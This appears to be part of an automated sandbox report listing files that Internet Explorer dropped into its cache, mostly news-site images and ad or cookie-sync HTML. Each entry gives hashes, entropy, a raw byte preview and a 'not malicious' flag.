SSDEEP:	96:QfQEZoPfOhFvCaAnPIKgbk3l3Jp/cKMM+tCv27adW8uje5OE:QoIoX7aAnPZUk13J3MMeCvdWOOE
MD5:	A50918E5BC00D99B0D353320E96E8161
SHA1:	8DCC0DAF24411721E195940B728BA19FBA2EFE50
SHA-256:	1E71F8D77F58C5263AB03971D5504B850F7F4536646064CC6564ED85D6A9DEAF
SHA-512:	68CFABA3698E0F9C097145C520378A2DD1EB9B03B9F79D9FAF432E3917D9855C0F34155283DB85A0FE1E9F4779AB8ADE30415ED1C7C2FA01C5F3D0CDA4CF9450
Malicious:	false
Reputation:	unknown
Preview:	......JFIF.....`.`...................... .....'... .)10.)-,3:J>36F7,-@WAFLNRSR2>ZaZP`JQRO.......&..&O5-5OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO....................................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz......................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..n.....blI...E..Ci#.2.{FsRh..j.&D.I..J0i.2............P.@....P.@....P.@....P....z.1. ..c...{.d..A.1..(.2~jL.E7-Hdx...h...R...P1(.....@\(.P.@.....@...(..U....arC...C...C.........G'Z.2...h...R.P4..(........c<....a..N..I......u.....(.q@.@.._C.VdI.S..#\|...c4...P..C...,3m.~..E)z.... ...0....@...(.P..}.@..<....\,@X...;....rN(..1S....N.A@..0....P....PNi...(.Id.$..H.."NV6..J....'4

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\MEEXW4H4\AAOQeAq[1].jpg Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 206x250, frames 3
Category:	dropped
Size (bytes):	10487
Entropy (8bit):	7.925141422625732
Encrypted:	false
SSDEEP:	192:Qo8sQCojIrAHlS2JqBUNzDQczpTbwHZr2NUuZNSaAVBQZ:bOpUelHqBYA8TEHZ5U0XnQZ
MD5:	CA60DC24CD1C10EA3AC66B303BAAEFB9
SHA1:	60035ED163AA784038882C02A9D1DB098D8055E5
SHA-256:	B1E269B22D6088734E559573F9E357BEFECAB46095A2C02DFF81E88B9DE6F6E1
SHA-512:	55EEEC84EA54CBF5D55D6B9356F35C942C1F8EB18A44426216438501EAC7502A73119252B9D1E65F91D12F69E3444D61597E19BD98BDC862BCA55AD87238FFD1
Malicious:	false
Reputation:	unknown
Preview:	......JFIF.....`.`...................... .....'... .)10.)-,3:J>36F7,-@WAFLNRSR2>ZaZP`JQRO.......&..&O5-5OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO....................................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz......................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.....kb.P...!.Y..T.+..a..1.p....@..69'..b....h...H..SC#....`A.@.#(...GZB...l.E..3.....D.r:P.X......cv.........Lc0rph..r8..JLB.f c.@lJ...8.@M.$... c$*...."+8..\z.G........<d......R..G...._.f..8.............!%e..BCW..#9..$..JV...NA.1.A."..#<.zP....@..#....h.":...DNN...........Wm..n.1.C...F.7..M..."...S.B1~.X....V..K&.i<.Q. ..".+...x.;.Q..O.dq@X.Q....I...pa..i..2.....U&.d.8."....

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\MEEXW4H4\AAOQk0R[1].jpg Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 622x368, frames 3
Category:	dropped
Size (bytes):	29808
Entropy (8bit):	7.880571115063757
Encrypted:	false
SSDEEP:	768:I05UXp/uX7GU8tmysRqcCBRfPggdLd2xEHpQd7vTcchT:INp/E7msFCBRfPvdLNpg7bN
MD5:	507EA2E6C354BF2A0936C5E1F565D357
SHA1:	C034066FAE9772726D75A0D47CE1907588AD29AC
SHA-256:	9F91221E5EFD7459C97798A0A3504E9052456D174CEEC575C197911199DB3410
SHA-512:	8620511BD33DCEF63513CE682883D310183D7036ACEC5BA2A647ECF5448638EE595FEB58B6A1C974594142B5AEFE92E5427BB7F4D4A7F02163589C99BFFB0F0C
Malicious:	false
Reputation:	unknown
Preview:	......JFIF.....`.`...................... .....'... .)10.)-,3:J>36F7,-@WAFLNRSR2>ZaZP`JQRO.......&..&O5-5OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO......p.n...........................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz......................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?....(......F;A8'.P..@8..A;eXm#...SZ.@..e....P}......R.v(....[...2...l.....v.H.....j.....z......p9 ..c-[8.U~.Q.P.F.$...=3RQmTn.$.zE\q...j.......H..`.zd..i.N.......={P.[....=h......\P.N.JE"...Hc...X..@1...8.....D3...~ppy.D...rr....^EY&.E.F..... ..7N..5..[...0:x...(......(...R..1#.'....P.@.....P..m...:..p3@.....(.....6..]Gsyl%.0............t....d.>A''.GBGBh..*.(..7.........7.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\MEEXW4H4\AAOQni7[1].jpg Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 100x75, frames 3
Category:	dropped
Size (bytes):	3383
Entropy (8bit):	7.867041354625876
Encrypted:	false
SSDEEP:	48:QfAuETAzxN0u83Qnuu4bPFnMxvefS6HdQ/QRb4lLORPaCEUrxynieQ9ujtiQrsEE:Qf7EA70u8Anuu4b93fSQQ/QIT7UfuJi
MD5:	5880842D53729B99F8C87C33356853C7
SHA1:	5C184BAC475ACDE811C80C95D3EDFF94FFD567DF
SHA-256:	62E7C06B32C0531805098737FB09AB2A22DF398E84B08211B4AFF77ABBA980C0
SHA-512:	90AF116452F910DD060400270021683DB2C537E495BA90A91A4FC98315A15DBAE853419B462BA221E135618035B43ECA683021A7A09297AC72D5851E8A3C6C19
Malicious:	false
Reputation:	unknown
Preview:	......JFIF.....`.`...................... .....'... .)10.)-,3:J>36F7,-@WAFLNRSR2>ZaZP`JQRO.......&..&O5-5OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO......K.d...........................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz......................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..a...V2.9.zQ.V.-fr...Z....,&.(q.....MiJ..\|%V..oh....Tq.....h{..W..&.zQ._...^...n..#.p...e;%.3....ZK'.O+;.}._qX.X..5.`... '+..r.r...0.D..8<.(.V.+F3....s....lI-......v..p}?.i-4.Z\&.......i......Jb&.F....H.\|.'o....fS..C.....f...N........2.i.E.......CIh...I P.P.f..go^..jOcZj.W.2...7.....S.{>.+1..K.-.fH.QX..$..ab.Z.d,[.8v..K.+..d..e..T..A=.iT.sl.x.z.B.@ai.!s.q.S..f.m.r..l".L;

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\MEEXW4H4\AAOQnkM[1].jpg Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 622x368, frames 3
Category:	dropped
Size (bytes):	49815
Entropy (8bit):	7.971646719261822
Encrypted:	false
SSDEEP:	768:IBaLavlZbEmgrE29qiSeZhMUHEul1IhhPMJwMevmBLzSjfyidMSg6QjR:IBnXEWLeI0lKhhPMJwPvwkGSgJR
MD5:	140B5725B583041712084DCC911483BE
SHA1:	1CAAB1ED089CBB022414B1BA4FE711FD7C412599
SHA-256:	6C16B795EB7411AACE661DD44F7CB5F2219DF5C70EBD75274885C3C9D97F92AC
SHA-512:	697A132AFD78DE9F1D66EE705F8B420F9E27F8A9719F6ABBE17C341C80534E0086070D396C7EFF33763372E9168DB2073D48F9C2A01BA24D506998FEE6C43C5B
Malicious:	false
Reputation:	unknown
Preview:	......JFIF.....`.`...................... .....'... .)10.)-,3:J>36F7,-@WAFLNRSR2>ZaZP`JQRO.......&..&O5-5OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO......p.n...........................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz......................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..8.V@........@......P1s...I..bh.....J@,......R..$...o.j.K.-..........Qe..E.U.Y!#..Q.....-F.` ...0.(..+E7...Jb...v..(..v..;)......+..F....Z,M.m.j../...vx.R)Y..Ty$.B.3. ..T.DE.<4Q....T....- .e[(./..!...(.CJ.J.K...4t..}.m.(G..v+.....>.,.......#..].m..-,..Y.X..........r[f\.\|..n.\.\|...r1s2#c2H..#lvel..!W/i.m..&3j.O#i.....s.I.tb...Bo#...5.jD7z...Kq...r#`.#.r8.R...W.%....%

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\MEEXW4H4\AAOQy1G[1].jpg Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 311x333, frames 3
Category:	dropped
Size (bytes):	16559
Entropy (8bit):	7.934517612782871
Encrypted:	false
SSDEEP:	384:NlMu2hatbBW+M3n4+edUR8GUyKqvaHzh4mX7pjJiHL:NB2hatUD34a8G+qvg4u9ir
MD5:	4B57E4819F4465EE3943F3F9BAF5C094
SHA1:	8F00E4A416B7568557524C7C5506AB289D980109
SHA-256:	DF896642FA11EFF23CF61E70210D6A49CD3E933745C5F2F3FF67DA8FE31A0CB4
SHA-512:	469D83ED49E9581D4CD35FE615EAE5B83A21E2B9026F86B0D4D5391A684342E42305A9EE7ED28001E1FFC013545D2CC9017FAFA91372346999FBAECC58A0B610
Malicious:	false
Reputation:	unknown
Preview:	......JFIF.....`.`...................... .....'... .)10.)-,3:J>36F7,-@WAFLNRSR2>ZaZP`JQRO.......&..&O5-5OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO......M.7...........................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz......................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?....~.7......O.#...0.2v...@.7....(...f....f...'.........t..q...`..sv..q.....+..=Z...}h..'?.h.....4..G....,...~......74. ...#.4.\|p.9..@K...~.....X....:.....d`...0.X.R....a.....J.H....b..>..C(C#F........w..\...C...R..O.L...1H.D>.....(z.@..z........O.._2"...QR...O4..C).....&.@.M....h..6........x.=.....mX.G?..J.o..<..4. .a.1H..oY.!@..<}...@...:.~....).PP.}.1..P..M.N(.......h...c..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\MEEXW4H4\AAuTnto[1].png Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	777
Entropy (8bit):	7.619244521498105
Encrypted:	false
SSDEEP:	12:6v/7/+Qh6PGZxqRPb39/w9AoWC42k5a1lhpzlnlA7GgWhZHcJxD2RZyrHTsAew9:++RFzNY9ZWcz/ln2aJ/Hs0/ooXw9
MD5:	1472AF1857C95AC2B14A1FE6127AFC4E
SHA1:	D419586293B44B4824C41D48D341BD6770BAFC2C
SHA-256:	67254D5EFB62D39EF98DD00D289731DE8072ED29F47C15E9E0ED3F9CEDB14942
SHA-512:	635ED99A50C94A38F7C581616120A73A46BA88E905791C00B8D418DFE60F0EA61232D8DAAE8973D7ADA71C85D9B373C0187F4DA6E4C4E8CF70596B7720E22381
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....pHYs..........+......IDATx.]S]HSa.~.s.k...Y.....VF.)EfWRQQ.h%]..e.D)..]DA.%...t...Q.....y.Vj.j.3...9.w..}......w...<..>..8xo...2L..............Q.....4.)../'~......<.3.#....V....T..[M..I).V.a.....EKI-4...b... 6JY...V.t2.%......"Q....`.......`.5.o.)d.S...Q..D....M.U...J.+.1.CE.f.(.....g......z(..H...^~.:A........S...=B.6....w..KNGLN..^..^.o.B)..s?P....v.......q......8.W.7S6....Da`..8.[.z1G"n.2.X.......................2>..q...c......fb...q0..{...GcW@.Hb.Ba.......w....P.....=.)...h..A..`......j.....o...xZ.Q.4..pQ.....>.vT..H..'Du.e..~7..q.`7..QU...S.........d...+..3............%m\|.../.....M..}y.7..?8....K.I.\|;5....@...u..6<.yM.%B".,.U..].+...$...%$.....3...L....%.8...A9..#.0j.\lZcg...c8..d......IEND.B`.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\MEEXW4H4\BB14EN7h[1].jpg Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 96x96, segment length 16, baseline, precision 8, 622x368, frames 3
Category:	dropped
Size (bytes):	13764
Entropy (8bit):	7.273450351118404
Encrypted:	false
SSDEEP:	384:IfOm4cIa37nstlEM15mv7OAkrIh4McOD07+8n0GoJdxFhEh8:I2m4pa37stlTgqAjS0GoJd3yK
MD5:	DA6531188AED539AF6EAA0F89912AACF
SHA1:	602244816EA22CBE39BBD4DB386519908745D45C
SHA-256:	C719BE5FFC45680FE2A18CDB129E60A48A27A6666231636378918B4344F149F7
SHA-512:	DF03FA1CB6ED0D1FFAC5FB5F2BB6523D373AC4A67CEE1AAF07E0DA61E3F19E7AF43673B6BEFE7192648AC2531EF64F6B4F93F941BF014ED2791FA6F46720C7DB
Malicious:	false
Reputation:	unknown
Preview:	......JFIF.....`.`...................... .....'... .)10.)-,3:J>36F7,-@WAFLNRSR2>ZaZP`JQRO.......&..&O5-5OOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO......p.n...........................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz......................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?.......5.D..gJ.ks@..(...@.........l..pE..iT...t&..V.M..h....4.m.-.!....:..............a...CQ...c....Fj....F(...5 ..<.....J..E.0."..].6...B.K........k.t.A'p..KJ..A....(......(......(......(......(......(......(......(......(.......K1......:...0......I...M.9..n..d.Z.e.Q..HfE....l^...h.h.t....(.9:.2....z...@.....:...3..w.@.P4Ac1.a.@...A#.P1... ..4..@.@.(.h.h.(....0....Y..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\MEEXW4H4\BB1cG73h[1].png Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	PNG image data, 27 x 27, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1131
Entropy (8bit):	7.767634475904567
Encrypted:	false
SSDEEP:	24:lGH0pUewXx5mbpLxMkes8rZDN+HFlCwUntvB:JCY9xr4rZDEFC
MD5:	D1495662336B0F1575134D32AF5D670A
SHA1:	EF841C80BB68056D4EF872C3815B33F147CA31A8
SHA-256:	8AD6ADB61B38AFF497F2EEB25D22DB30F25DE67D97A61DC6B050BB40A09ACD76
SHA-512:	964EE15CDC096A75B03F04E532F3AA5DCBCB622DE5E4B7E765FB4DE58FF93F12C1B49A647DA945B38A647233256F90FB71E699F65EE289C8B5857A73A7E6AAC6
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................U....pHYs..........+......IDATx..U=l.E.~3;w{..#].Dg!.SD...p...E....PEJ.......B4.RE. :h..B.0.-$.D"Q 8.(.;.r.{3...d...G......7o..9....vQ.+...Q......."!#I......x\|...\...& .T6..~......Mr.d.....K..&..}.m.c.....`.`....AAA..,.F.?.v..Zk;...G...r7!..z......^K...z.........y...._..E..S....!$...0...u.-.Yp...@;;;%BQa.j..A.<)..k..N.....9.?..]t.Y.`....o....[.~~..u.sX.L..tN..m1...u...........Ic....,7..(..&...t.Ka.]..,.T..g.."...W......q....:+t.?6....A..}...3h.BM/.......<.~..A.`m...:.....H...7.....{.....$... AL..^-...?5FA7'q..8jue........?A...v..0...aS.:.0.%.%"......[.=a......X..j..<725.C..@.\. ..`.._....'...=....+.Sz.{......JK.A...C\|{.\|r.$.=Y.#5.K6.!........d.G...{......$.-D.z..{...@.!d.e...&..o...$Y...v.1.....w..(U...iyWg.$...\>..].N...L.n=.[.....QeVe..&h...`;=.w.e9..}a=.......(.A&..#.jM~4.1.sH.%...h...Z2".........RP....&.3................a..&.I...y.m...XJK..'...a......!.d.......Tf.yLo8.+.+...KcZ.....\|K..T....vd....cH.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\MEEXW4H4\BB6Ma4a[1].png Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	368
Entropy (8bit):	6.811857078347448
Encrypted:	false
SSDEEP:	6:6v/lhPahm7HmoUvP34NS7QRdujbt1S+bQkW1oFjTZLKrdmhtIargWoaf90736wDm:6v/7xkHA2QRdsbt1pBcrshtvgWoaO7qZ
MD5:	C144BE9E6D1FA9A7DB6BD090D23F3453
SHA1:	203335FA5AD5E9D98771E6EA448E02EE5C0D91F3
SHA-256:	FAC240D4CA688818C08A72C363168DC9B73CFED7B8858172F7AD994450A8D459
SHA-512:	67B572743A917A651BD05D2C9DCEC20712FD9E802EC6C1A3D8E61385EB2FEBB1F19248F16E906AF0B62111B16C0EA05769AEA1C44D81A02427C1150CB035EA78
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....pHYs..........+....."IDATx.cy. ..?...\|.UA....GX...43.!:.o(f..Oa`..C...+Z0.y......~..0...>.....(....X3H.....Y....zQ4.s0....R.u.t..\|....)....(.$.`..a...d.qd.....3...W_...}....;.........4.....>....N....)d........p.4......`i.k@QE....j....B....X.7....\|..0.....pu?.1B,...J..P.......`F.>R..2.l.(..3J#.L4...9[...N....IEND.B`.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\MEEXW4H4\BBVuddh[1].png Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	316
Entropy (8bit):	6.917866057386609
Encrypted:	false
SSDEEP:	6:6v/lhPahmxj1eqc1Q1rHZI8lsCkp3yBPn3OhM8TD+8lzjpxVYSmO23KuZDp:6v/7j1Q1Q1ZI8lsfp36+hBTD+8pjpxy/
MD5:	636BACD8AA35BA805314755511D4CE04
SHA1:	9BB424A02481910CE3EE30ABDA54304D90D51CA9
SHA-256:	157ED39615FC4B4BDB7E0D2CC541B3E0813A9C539D6615DB97420105AA6658E3
SHA-512:	7E5F09D34EFBFCB331EE1ED201E2DB4E1B00FD11FC43BCB987107C08FA016FD7944341A994AA6918A650CEAFE13644F827C46E403F1F5D83B6820755BF1A4C13
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR................a....pHYs..........+......IDATx....P..?E....U..E..\|......\|...M.XD.`4YD...{.\6....s..0.;....?..&.../. ......$.\|Y....UU)gj...]..;x..(.."..$I.(.\.E.......4....y.....c...m.m.P...Fc...e.0.TUE....V.5..8..4..i.8.}.C0M.Y..w^G..t.e.l..0.h.6.\|.Q...Q..i~.\|...._...'..Q...".....IEND.B`.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\MEEXW4H4\checksync[1].htm Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	HTML document, ASCII text, with very long lines
Category:	dropped
Size (bytes):	21700
Entropy (8bit):	5.305082513785246
Encrypted:	false
SSDEEP:	384:VZAGcVXlblcqnzleZSweg2f5ng+7naMHF3OZOBQWwY4RXrqt:L86qhbS2RpF3OsBQWwY4RXrqt
MD5:	B5F20E1651F4F1946B488FF06242968A
SHA1:	AEA762A84C24EB4E69086A8FE735F0A86540EA92
SHA-256:	60C18B7845B8A1000103670FEBA257E27DFC731789BC6228A5ACA42CF101B2E8
SHA-512:	37DA7C66E1949934BAF502F133362787FB039C44A7C0E528B9F2F9A382CA782E26CB191127F2863ED4369325252B4E8A7A463C329EF16A50A58CDD66F1641AA0
Malicious:	false
Reputation:	unknown
Preview:	<html> <head></head> <body> <script type="text/javascript">try{.var cookieSyncConfig = {"datalen":80,"visitor":{"vsCk":"visitor-id","vsDaCk":"data","sepVal":"\|","sepTime":"*","sepCs":"~~","vsDaTime":31536000,"cc":"CH","zone":"d"},"cs":"1","lookup":{"g":{"name":"g","cookie":"data-g","isBl":1,"g":1,"cocs":0},"bs":{"name":"bs","cookie":"data-bs","isBl":1,"g":1,"cocs":0},"vzn":{"name":"vzn","cookie":"data-v","isBl":1,"g":0,"cocs":0},"brx":{"name":"brx","cookie":"data-br","isBl":1,"g":0,"cocs":0},"lr":{"name":"lr","cookie":"data-lr","isBl":1,"g":1,"cocs":0},"ttd":{"name":"ttd","cookie":"data-ttd","isBl":1,"g":1,"cocs":0}},"ussyncmap":[],"hasSameSiteSupport":"0","batch":{"gGroups":["apx","csm","ppt","rbcn","son","bdt","con","opx","tlx","mma","c1x","ys","sov","fb","r1","g","pb","dxu","rkt","trx","wds","crt","ayl","bs","ui","shr","lvr","yld","msn","zem","dmx","pm","som","adb","tdd","soc","adp","vm","spx","nat","ob","adt","got","mf","emx","sy","lr","ttd"],"bSize":2,"time":30000,"ngGroups":[]},"

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\MEEXW4H4\checksync[2].htm Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	HTML document, ASCII text, with very long lines
Category:	dropped
Size (bytes):	21700
Entropy (8bit):	5.305082513785246
Encrypted:	false
SSDEEP:	384:VZAGcVXlblcqnzleZSweg2f5ng+7naMHF3OZOBQWwY4RXrqt:L86qhbS2RpF3OsBQWwY4RXrqt
MD5:	B5F20E1651F4F1946B488FF06242968A
SHA1:	AEA762A84C24EB4E69086A8FE735F0A86540EA92
SHA-256:	60C18B7845B8A1000103670FEBA257E27DFC731789BC6228A5ACA42CF101B2E8
SHA-512:	37DA7C66E1949934BAF502F133362787FB039C44A7C0E528B9F2F9A382CA782E26CB191127F2863ED4369325252B4E8A7A463C329EF16A50A58CDD66F1641AA0
Malicious:	false
Reputation:	unknown
Preview:	<html> <head></head> <body> <script type="text/javascript">try{.var cookieSyncConfig = {"datalen":80,"visitor":{"vsCk":"visitor-id","vsDaCk":"data","sepVal":"\|","sepTime":"*","sepCs":"~~","vsDaTime":31536000,"cc":"CH","zone":"d"},"cs":"1","lookup":{"g":{"name":"g","cookie":"data-g","isBl":1,"g":1,"cocs":0},"bs":{"name":"bs","cookie":"data-bs","isBl":1,"g":1,"cocs":0},"vzn":{"name":"vzn","cookie":"data-v","isBl":1,"g":0,"cocs":0},"brx":{"name":"brx","cookie":"data-br","isBl":1,"g":0,"cocs":0},"lr":{"name":"lr","cookie":"data-lr","isBl":1,"g":1,"cocs":0},"ttd":{"name":"ttd","cookie":"data-ttd","isBl":1,"g":1,"cocs":0}},"ussyncmap":[],"hasSameSiteSupport":"0","batch":{"gGroups":["apx","csm","ppt","rbcn","son","bdt","con","opx","tlx","mma","c1x","ys","sov","fb","r1","g","pb","dxu","rkt","trx","wds","crt","ayl","bs","ui","shr","lvr","yld","msn","zem","dmx","pm","som","adb","tdd","soc","adp","vm","spx","nat","ob","adt","got","mf","emx","sy","lr","ttd"],"bSize":2,"time":30000,"ngGroups":[]},"

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\MEEXW4H4\checksync[3].htm Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	HTML document, ASCII text, with very long lines
Category:	dropped
Size (bytes):	21700
Entropy (8bit):	5.305082513785246
Encrypted:	false
SSDEEP:	384:VZAGcVXlblcqnzleZSweg2f5ng+7naMHF3OZOBQWwY4RXrqt:L86qhbS2RpF3OsBQWwY4RXrqt
MD5:	B5F20E1651F4F1946B488FF06242968A
SHA1:	AEA762A84C24EB4E69086A8FE735F0A86540EA92
SHA-256:	60C18B7845B8A1000103670FEBA257E27DFC731789BC6228A5ACA42CF101B2E8
SHA-512:	37DA7C66E1949934BAF502F133362787FB039C44A7C0E528B9F2F9A382CA782E26CB191127F2863ED4369325252B4E8A7A463C329EF16A50A58CDD66F1641AA0
Malicious:	false
Reputation:	unknown
Preview:	<html> <head></head> <body> <script type="text/javascript">try{.var cookieSyncConfig = {"datalen":80,"visitor":{"vsCk":"visitor-id","vsDaCk":"data","sepVal":"\|","sepTime":"*","sepCs":"~~","vsDaTime":31536000,"cc":"CH","zone":"d"},"cs":"1","lookup":{"g":{"name":"g","cookie":"data-g","isBl":1,"g":1,"cocs":0},"bs":{"name":"bs","cookie":"data-bs","isBl":1,"g":1,"cocs":0},"vzn":{"name":"vzn","cookie":"data-v","isBl":1,"g":0,"cocs":0},"brx":{"name":"brx","cookie":"data-br","isBl":1,"g":0,"cocs":0},"lr":{"name":"lr","cookie":"data-lr","isBl":1,"g":1,"cocs":0},"ttd":{"name":"ttd","cookie":"data-ttd","isBl":1,"g":1,"cocs":0}},"ussyncmap":[],"hasSameSiteSupport":"0","batch":{"gGroups":["apx","csm","ppt","rbcn","son","bdt","con","opx","tlx","mma","c1x","ys","sov","fb","r1","g","pb","dxu","rkt","trx","wds","crt","ayl","bs","ui","shr","lvr","yld","msn","zem","dmx","pm","som","adb","tdd","soc","adp","vm","spx","nat","ob","adt","got","mf","emx","sy","lr","ttd"],"bSize":2,"time":30000,"ngGroups":[]},"

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\MEEXW4H4\medianet[1].htm Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	HTML document, ASCII text, with very long lines
Category:	dropped
Size (bytes):	410093
Entropy (8bit):	5.485558319987304
Encrypted:	false
SSDEEP:	6144:zPWkYqP1vG2jnmuynGJ8nKM03VCuPbeEWpJi9Wmn:r1vFjKnGJ8KMGxTPWmn
MD5:	711B92246AD35096A444BC2A1AF2D741
SHA1:	216C0ED49E6862E241FE1D881E5AC470590A728D
SHA-256:	AD55B9C3A901D8AD3607473840B277CD3396F9E704B57727B467215DE26537C0
SHA-512:	546175F055A78B67A6DA4FF0C15E51D256FFE193F55B50A800CF177B4DE23D205613BDA71B450E0BEC7B886E8F76F0EEB9E45F998014760B27AA178DF622D634
Malicious:	false
Reputation:	unknown
Preview:	<html>.<head></head>.<body style="margin: 0px; padding: 0px; background-color: transparent;">.<script language="javascript" type="text/javascript">window.mnjs=window.mnjs\|\|{},window.mnjs.ERP=window.mnjs.ERP\|\|function(){"use strict";for(var l="",s="",c="",f={},u=encodeURIComponent(navigator.userAgent),g=[],e=0;e<3;e++)g[e]=[];function d(e){void 0===e.logLevel&&(e={logLevel:3,errorVal:e}),3<=e.logLevel&&g[e.logLevel-1].push(e)}function n(){var e=0;for(a=0;a<3;a++)e+=g[a].length;if(0!==e){for(var n,r=new Image,o=f.lurl\|\|"https://lg3-a.akamaihd.net/nerrping.php",t="",i=0,a=2;0<=a;a--){for(e=g[a].length,0;0<e;){if(n=1===a?g[a][0]:{logLevel:g[a][0].logLevel,errorVal:{name:g[a][0].errorVal.name,type:l,svr:s,servname:c,errId:g[a][0].errId,message:g[a][0].errorVal.message,line:g[a][0].errorVal.lineNumber,description:g[a][0].errorVal.description,stack:g[a][0].errorVal.stack}},n=n,!((n="object"!=typeof JSON\|\|"function"!=typeof JSON.stringify?"JSON IS NOT SUPPORTED":JSON.stringify(n)

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\MEEXW4H4\medianet[2].htm Download File
Process:	C:\Program Files (x86)\Internet Explorer\iexplore.exe
File Type:	HTML document, ASCII text, with very long lines
Category:	dropped
Size (bytes):	410093
Entropy (8bit):	5.4855715066150745
Encrypted:	false
SSDEEP:	6144:zPWkYqP1vG2jnmuynGJ8nKM03VCuPbzEWpJi9Wmn:r1vFjKnGJ8KMGxTsWmn
MD5:	050DFC841035FE6B7C48849F77C0EA97
SHA1:	C137248EA759BFFD9FC39AE60881A268930D6A80
SHA-256:	977D38A7C169963A05CE62EF210F72A8C9A19FD4A827227F12FED9349E7B0BF4
SHA-512:	74F2F14E1496F4FFFED01F5DB14CB9745C029065319E15A802BE31C6377FC40C40FBD490A425DDE25B3D5D9DEF6C9D5732EC94FAA35E9208C5935A43163056DE
Malicious:	false
Reputation:	unknown
